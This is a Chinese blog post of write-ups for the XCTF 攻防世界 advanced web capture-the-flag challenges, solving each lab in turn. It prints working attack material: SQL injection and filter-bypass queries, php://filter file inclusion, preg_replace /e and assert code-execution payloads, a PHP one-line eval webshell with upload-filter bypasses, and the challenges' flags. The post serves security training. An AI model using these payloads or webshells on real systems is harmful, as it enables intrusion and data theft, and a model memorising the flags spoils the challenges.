美文网首页安全
攻防世界web进阶解题报告

攻防世界web进阶解题报告

作者: 佛系小沈 | 来源:发表于2019-10-08 22:43 被阅读0次

    cat

    题目描述:抓住那只猫

    打开链接,首先看到了一个输入框让我们输入域名。输入百度的ip:220.181.38.148,然后submit一下,发现执行了ping命令,然后试了一下127.0.0.1 ,有返回值

    然后尝试利用管道来执行一些命令,比如ls,cat啥的,构造127.0.0.1 | ls  ,但是,没什么用hhh。没得办法,看了一下百度上的博客,https://www.cnblogs.com/xyongsec/p/11364520.html

    博客上面表示我们需要读取数据库里面的内容,然后让数据库报错的url编码是%88,在这之前,我们需要发现一个问题,我们再输入框输入的所有内容会在url上面构造一个get传参,所以输入%88相当于get传参一个东西使得ping报错。然后再报错的代码中找找database,搜索的快捷键是CTRL+F,然后搜索database,得到了database所在的位置。

    然后再url后面访问一下就得到flag了:

    WHCTF{yoooo_Such_A_G00D_@}

    这里我们为什么要加一个@呢,这是我在网上找到的相关内容。

    这个题目我做的很懵逼,就这样吧。


    ics-04

    题目描述:工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

    这个题目主要考察sql注入以及重复注册(业务逻辑漏洞)

    首先,打开链接,发现是一些奇奇怪怪的东西,乱七八糟一堆,瞎按一通以后发现登录功能以及注册功能是好的,其他不管怎么按都是白费劲。然后看一下登录以及注册界面。我先尝试了admin爆破,密码加起来十来万个,不行hhh。然后看了一下登陆界面左下角有一个忘记密码,点进去里面有一个输入框,想着可不可以在这里进行注入呢。然后先随便输入一个东西,提交查询并用BP抓包,把raw部分以txt格式保存

    我保存的是1.txt

    然后开始SQL注入

    用户名密码都知道了,试试能不能登录:

    哦豁,完蛋。四处搜寻之下,突然想起来我们刚开始强调过的注册界面,看看能不能利用重复注册来把原来的密码覆盖掉。然后就成功覆盖,登录,得到flag:

    cyberpeace{e26fd60a35f3f2b7481e4aeed1beddc8}

    可以参考下面的题目“bug”对本页面的密码进行修改,但是需要重新注册一个用户啥的巴拉巴拉一堆,有点麻烦,嘿嘿嘿。


    ics-05

    题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

    打开链接的时候,界面是一个比较高端的东西,先打开源码,发现没什么东西,然后就在左边那一栏瞎点点,发现点开“设备维护中心”的时候,界面跟一般的界面不太一样。

    发现页面没NewsCenter有任何信息,在此查阅源码,发现了?page=index

    既然上面出现了这东西那就试试,发现index出现在了网页的下方,猜测等号后面就是网页回显的内容,换?page=123试试,然后也发现了回显,很明显,这是一个文件包含漏洞。

    文件包含漏洞利用了  PHP伪协议中的php://filter

    尝试读取index.php的页面源码,通过php内置协议直接读取代码,因为直接读取会造成php代码的执行,那么便用base64(一种编码,详见 https://baike.baidu.com/item/base64/8545775?fr=aladdin )将php代码以base64代码的形式展现。所以构造payload:

    ?page=php://filter/read=convert.base64-encode/resource=index.php

    打开base64在线转换,转换结果如下:

    <?php
    }}
    //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
        echo "<br >Welcome My Admin ! <br >";
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }
    }

    然后开始代码审计,发现preg_replace函数存在命令执行漏洞,此处明显考察的是preg_replace 函数使用"/e"模式,导致代码执行的问题。

    preg_replace函数函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。
    $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。

    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

    也就是说,pat和sub有相同部分,rep的代码就会执行。

    根据源码分析X-Forwarded-For改成127.0.0.1之后,GET进三个参数。然后调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入"/e"触发漏洞

    试试,并且用BP抓包一下。

    使用cd进入目标文件,并查看该文件夹下文件system("cd%20s3chahahaDir%26%26+ls")

    此处不能使用空格隔开,可用%20或者+代替,%26%26为&&,&&意思是当前面命令执行成功时,继续执行后面的命令。

    看到flag文件

    继续进入查看system("cd%20s3chahahaDir/flag%26%26+ls")

    看到flag.php,使用cat命令查看flag.php中的内容 system("cat+cd%20s3chahahaDir/flag/flag.php%26%26+ls")

    得到flag:cyberpeace{fd383b6f0242c4f342d807051ed1bf2e}


    ics-06

    云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

    打开链接后发现跟05的题型是一样的,左边瞎点点一圈后发现“报表中心”的界面与众不同,那关键就应该在这个界面上。有了上题的经验,这一题我还是查看了源码,还发现了“?page=index”。

    但是没什么用,发现界面还是跟原来一样。没什么思路了,只能瞎撞,东点点西摸摸搞了一圈后发现关键在id上(主要还是靠百度),既然id可以爆破,我这边写了一个从0到9000的字典,用字典爆破得到当id=2333的时候刚好出现flag。

    那把id=2333敲入url就除了flag:cyberpeace{a5720d3a0f97f1511bdd708c24e4d368}


    lottery

    打开链接后可以大致明白这个题目的意思,是一个博彩的一个游戏,只要赢了足够的money就可以购买一个flag。七搞八搞,瞎蒙了几次,发现没有一次是对的,不知道咋整,源码里面也没有啥提示,那就各种方法整过了之后,发现御剑上面跑出的robots.txt里面有点东西。

    嗯?这个是git源码泄露?百度后下载了GitHack(下载链接),里面还有样例,那就这么玩吧。在下载的文件夹里面,按住Shif的同时,点击鼠标右键,然后打开powershell,输入  python2 GitHack.py http://111.198.29.45:56789/.git/ 

    然后在githack的文件夹里面出现了所有的该网站的php文件,因为我们赢钱的操作主要是买彩票(输入数字)实现的,所以我们需要看看这个买彩票的过程是怎么实现的,关键去找买彩票部分的php文件。

    翻了一下bug.php,发现没有我们想要的东西,那么一个个试过去咯,刚好在api.php里面发现了buy的定义。

    如果懂php代码,那么可以发现$number是用$req函数上传,并没有判断number的数据类型(不一定必须为数字),而且用的是==,是一个弱类型比较,只要$win_number>=1,就可以被判断为true,那么把$number全部置为true就行了呀(注意,因为$win_number是随机生成的数字,所以可能是0,当生成0的时候会被判为false,但是不要紧,多传几次就行)。

    于是用BP抓包,在这里我们需要注意,上传的true是字符,传的方式跟数字不一样。数字传值的格式是{“1,2,3"},但是字符传值的方式是{[true,true]}。

    然后GO!发现得到了200000元,多go几次就攒够买flag的钱了,真好。

    flag: cyberpeace{5fe7ce82beead16cce19798dc979c85f}

    NewsCenter

    这一题考察的是sql注入。(SQLmap的方法只要会用,就比较简单,这里就不做详细介绍了)

    输入1 页面返回两条信息,联合注入搞起来,输入1' union select 1,2,3#  发现有返回值(当然是从1开始,试验到3为止)

    ok,注入点在2和3位。那么开始注入操作,首先要知道数据库名,构造:1' union select 1,database(),3#   发现数据库名字叫news,然后继续查表名  1' union select 1,tablename,3 from information_schema.tables#  得到所有表名,在表名的最后,我们发现了有一个表叫secret_tables,那么flag可能在这个表里。然后输入1' union select 1,column_name,300 from information_schema.columns where table_name = 'secret_table'#  查看这个表里有啥

    哦豁,flag找到了。然后输入1' union select 1,fl4g,3 from secret_table#

    QCTF{sq1_inJec7ion_ezzz}

    mfw

    写本篇wp的时候,距离我上一次做这个题已经一个月了。我居然忘记了怎么做,还是查阅了三篇其他同志的wp后我才重新理解了这道题目,所以显得记录是多么多么重要。

    接下来讲一下我做题的全过程。那道题目首先查看源码

    ?page=flag???试试,没用,场面一度很尴尬。

    在上面那几个界面之间来回切换一下,发现了这个好像是一个线索,git,不就是git源码泄露嘛。泄露方式在前面那个题目已经讲过了。git出来以后,在index.php里面发现了解题的关键。

    解读一下代码(代码审计):第一个if的意思是,若上传一个page,那么page就传到$page这个变量里面,否则,将$page置为home。下面,$file变量是打开templates文件夹里面的page.php,这里传入不同的page,就打开不同的文件,文件目录如下:

    所以page只能在这四个里面挑选

    接下来是整个题目的关键,先讲一下涉及到的几个函数的功能:
    assert()检查一个断言是否为FALSE
    strpos()函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回
    Falsefile_exists()函数检查文件或目录是否存在。
    assert()函数会将括号中的字符当成代码来执行,并返回true或false。
    cat + 文件名——可以打开对应的文件

    不知道在哪下手?那就看看我们上传的page在哪个函数用到过。好像两个assert都用到了,但是第二个函数没办法绕过,那就选择第一个assert函数绕过。
    php中原有的代码是  assert("strpos('$file', '..') === false") or die("");   我们需要构造payload把前面闭合的同时再把后面闭合,中间再搞事情拿flag。($file是我们上传的参数,可以任意上传)

    当$file的内容为上述黑色字体部分的时候,asert函数内部由一个strpos函数变为三个函数,而且都是完整函数,于是执行以后,便拿到了flag:cyberpeace{a22a2c7fba8d07c8c2cb1fc8f91988a3}     (flag在源码里面)


    Training-WWW-Robots

    这个题目还是比较简单的,题目已经提示robots了,那就想到robots协议,先访问/robots.txt,

    提示很清楚明了,访问fl0g.php,很棒棒,flag出来了。

    cyberpeace{8557f73a12476875bb4e806a6d7c8312}


    NaNNaNNaNNaN-Batman

    打开题目,没有网页,只有一个附件。下载解压以后,发现是一个叫web100的东西。没有格式,也不知道用啥打开,那么要么以文本方式打开,要么就用winhex看看具体格式。用记事本打开后发现了是一个html代码,那就把文件后缀改成.html,但是有点乱,我也看不懂。把它拿过来放到控制台,发现了人类能够看得懂的东西:

    整理一下,具体的代码如下:

    这里就是讲述了flag的计算方式,但是得到flag的前提是满足上面几个if条件(正则匹配)。
    法一:构造正则匹配,e.length=16,那就长度为16的字符串,而且字符串中必须出现be0f23、233ac、e98aa、c7be9,16位,那就尽量把重复的放一起,构造:be0f233ac7be98aa,刚好16位。打开web.html文件,输入这个东西,得到flag。

    法二:既然题目中已经介绍了flag怎么算的,那就口算。根据for循环的运算一个个算下来,但是容易错,而且费时间,更优解看法三。

    生成flag的代码

    法三:既然这边一斤介绍了flag的计算方法,那么何不构造一个html文件,在原来的代码基础上加上html的头尾就行。

    保存为1.html,用浏览器打开,就是完美的flag。

    flag{it's_a_h0le_in_0ne}

    bug

    打开链接发现是个登录界面,源码里面没有东西。首先想到爆破得到密码,但是下面有注册的按钮,emmm,那八成不能爆破。先注册并且登录,随便注册,成功就行。

    进去以后发现是这个界面:

    先试试每个按钮的功能,第一个就不能用(tmd),好像是需要admin这个账号,然后第二个按钮是查看个人信息,第三个按钮是修改密码。好像也没有啥特殊信息。
    退出登录后,注册一个账号为admin的账户,but,居然注册不了。

    百度一下,发现线索在登录界面那边的findpwd,也就是找回密码。用注册的账号信息输入以后,跳出这个界面:

    抓包一下,然后修改对应的账号信息,然后GO!

    很棒棒,admin这个账号的密码被改了,改成了admin。然后登录并且点击message按钮,发现ip不符合要求。凉了啊。

    但是转念一想,admin不就是管理员登录嘛,那就是本地登录吧,不然也不能在这搞一个ip验证。试着BP抓包:

    哦豁,又有线索。但是,这个do应该是啥呢?
    我百度了,大佬说文件管理就是upload,我找大佬问问,等问明白了再做补充。

    就在我以为结束了的时候,出现了这个。

    这个,还是一个上传题?那就搞个一句话木马?

    咋回事,我不管传什么后缀名都是说我是php!不得不再次求助大佬,百度告诉我这里设置了黑名单过滤,所有的以<?php开头的文件都会被砍掉。嗯哼,用<script language="php"> ... php code... </script>来进行绕过。

    好嘞,放了一句话,然后BP抓包修改后缀名。发现大多数的后缀名都被黑名单了,只有php4、php5可以用。传上去之后就得到了flag:

    cyberpeace{85fe8df7d3a47d9abd0b8cab6115c900}')

    附一句话代码:
    <script language="php">
    @eval($_POST[pass]);
    </script>


    bug

    打开链接后发现有个register(注册)功能,先随便注册一个试试。

    账号密码都是qwe

    登录之后,点击manage,提示说你不是admin账户

    点击logout退出登录,然后试着注册一个admin账号,发现已被注册。但是在登录界面还发现一个Findpwd功能,目测是find password的缩写,即找到密码,试着从这里打开缺口。

    点进去,输入账号以及生日信息、地址信息并点击verify:

    然后在这个界面输入你想要修改的密码,并用抓包抓一下:

    把qwe改成admin,跑一下,然后就修改了admin的密码了,完美!

    在登录界面用admin登录以后,发现还是进不去manage这个选项,提示ip不对,想着因为admin一般是最高权限账户嘛,会不会要求ip是本地访问呢,试试127.0.0.1(本地)

    然后试着用X-Forwarded-For Header修改ip地址(是一个火狐插件)

    很神奇的可以进去了,问你flag在哪。

    看看页面源码,发现有个好东西:

    do能等于啥呢?看到filemanage,文件管理嘛,do就是upload咯,试试咯:

    哦豁,是一个上传题。要求上传图片,那我构造一个执行system函数中的ls函数的木马:
    <?php system('ls') ?>
    结果识别出来是木马!那估计是php头暴露了,咋办,用<script language ="php">来绕过
    <script language="php"> system('ls');</script>
    抓包修改后缀为php5,GO,返回flag:

    flag:cyberpeace{287d779480c3a4638ebf4c400176535a}

    upload

    题目描述:如题目环境有问题,稍等片刻后刷新即可(莫名其妙的描述)

    打开链接后,先是一个注册界面,本以为这个就是题目,没想到注册了之后进入的页面才是题目的开始。

    上传一个一句话木马,抓包了一下,发现行不通,不给我返回路径,emmmm,凉了。

    百度了一下,发现大佬博客里面说这个是SQL注入,文件名注入。好吧,那就以注入的形式做一下。试了一下sqlmap,hhhhh,没用。老老实实手注。

    先判断过滤,select和from过滤了,那么双写绕过:selselectect,frfromom。

    试了半天没有回显,大佬说要先用hex函数将转16进制,再用CONV函数将16进制转10进制,再输出。那就先构造一个:     s'+(selselectect CONV(hex(dAtaBase()),16,10))+'.jpg
    然后得到了

    可能是数字太大了,咋整,那用substr函数来取前面的几个数字吧。试了一下,发现当位数超过13的时候,从第14位开始,就要用科学技术法,但是16进制转10进制肯定是偶数的,那就取12位。构造:
    s'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
    得到:

    131277325825392

    然后先转16进制,再转字符串:131277325825392=>7765625f7570=>web_up

    然后构造:s'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg
    得到:

    1819238756

    1819238756=>6c6f6164=>load

    拼起来:web_upload   这个是数据库名。接下来就是正常操作了:

    s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

    114784820031327

    114784820031327=>68656c6c6f5f=>hello_

    s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit1,1)),13,12),16,10))+'.jpg

    112615676665705

    112615676665705=>666c61675f69=>flag_i

    s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload'limit1,1)),25,12),16,10))+'.jpg

    126853610566245

    126853610566245=>735f68657265=>s_here

    s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),37,12),16,10))+'.jpg

    空的

    空的,我还上传了两次,那表名就是flag_is_here了

    同理,搞字段名:s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

    115858377367398

    115858377367398=>695f616d5f66=>i_am_f

    s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

    7102823

    7102823=>6c6167=>lag

    加起来:i_am_flag

    然后查字节:s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

    36427215695199

    36427215695199=>21215f406d5f=>!!_@m_

    s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

    92806431727430

    92806431727430=>54682e655f46=>Th.e_F

    s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

    560750951

    560750951=>216c6167=>!lag

    拼接后:得到:flag: !!_@m_Th.e_F!lag

    注意:提交的flag只需要内容,不需要任何前缀,而且在写文件名时,不要用数字,不然会冲突,会使回显的正确值加上你的数字值,导致错误


    FlatScience

    题目描述:暂无

    不太会,看了大佬的博客还是不会,这里分享一下大佬的博客,自己体会一下:https://blog.csdn.net/zz_caleb/article/details/89323133


    web2

    题目描述:解密

    其实这玩意就是做逆向。打开链接,直接给你php源码,代码审计。
    先补充一点知识:

    strrev() 函数:反转字符串。
    <?php
    echo strrev("I love Shanghai!");
    ?> 
    运行结果:!iahgnahS evol I

    str_rot13() 函数:对字符串执行 ROT13 编码,在这里我们不需要知道ROT13编码是啥,只要知道是一种加密手段,它的逆运算是它本身
    <?php
    echo str_rot13("I love Shanghai");
    echo "<br>";
    echo str_rot13("V ybir Funatunv");
    ?>
    运行结果:
    V ybir Funatunv
    I love Shanghai

    代码审计完毕,接下来进行计算。手算是不可能手算的,脚本解放双手。因为我比较喜欢python(不会php),但是str_rot13() 、strrev() 用php写比较方便,于是我php和python一起用,嘿嘿嘿。

    <?php
    $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
    $ans = str_rot13($miwen);
    //echo $ans;
    $ans = strrev($ans);
    //echo $ans;
    $ans = base64_decode($ans);
    echo $ans;
    ?>       //执行结果:~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg

    接下来用python对上一步的执行结果进行操作,具体操作是对每一位字符取它的ASCII码的下一位(先取ASCII码,减一后再转变为字符串)

    a = '~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg'flag = ''
    for i in a:
        temp = ord(i)-1
        temp = chr(temp)
        flag += temp
    print(flag)      #执行结果:}77925d0af7327d30646c918bfda5d37b_FTCSN{:galf
    for i in range(len(flag),-1,-1):
         a+=flag[i:i+1]
    print(a)        #执行结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}


    PHP2

    题目描述:暂无

    打开链接,里面啥都没有,就一句话:Can you anthenticate to this website?

    然后御剑扫描一波,无果,源码看一看,也没东西,这个题多半是凉了哈。百度了一下,大佬说后面加一个index.phps,不明白为什么,但是输入index.phps之后就得到了部分php源码。

    那我们需要做的就是get传值一个id,关键在于构造url。

    url在浏览器的时候,浏览器会先对url的内容做一次url解码,然后进入代码后,代码会对id的内容再做一次解码,所以相当于解码两次,我们构造url的时候需要对‘admin’做一个二次编码即可。大部分在线工具都无法加密,这里推荐‘小葵花’,需要自取:https://pan.baidu.com/s/10d6h3-MsoH7HNmJdLdKuHw

    然后get传一个就完事了:

    cyberpeace{13659726ca8acb4802fdd7e641e07532}

    unserialize3

    题目描述:暂无

    打开链接,发现一段php代码,在这里补充一个知识点:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。后面的?code=按时应该get传值一个code。

    所以自己构造一下:

    这里的几个数字稍微改大一点就行了,比如

    cyberpeace{4c7037d19d8c22bbbdcbef5ea959dfe7

    upload1

    题目描述:暂无

    打开链接,发现是一个上传界面。写了一个一句话木马,命名为1.gif,上传

    上传一张正常的png图片,可以。上传一张正常的gif文件,不行。那估计gif被滤过了。右键查看源码,发现一堆js代码,大概意思是只让上传jpg、png图片。那编辑一个一句话木马然后命名为1.jpg然后上传,抓包修改后缀为1.php,上传成功

    去对应路径访问了一下,发现可以访问

    相关文章

      网友评论

        本文标题:攻防世界web进阶解题报告

        本文链接:https://www.haomeiwen.com/subject/htmipctx.html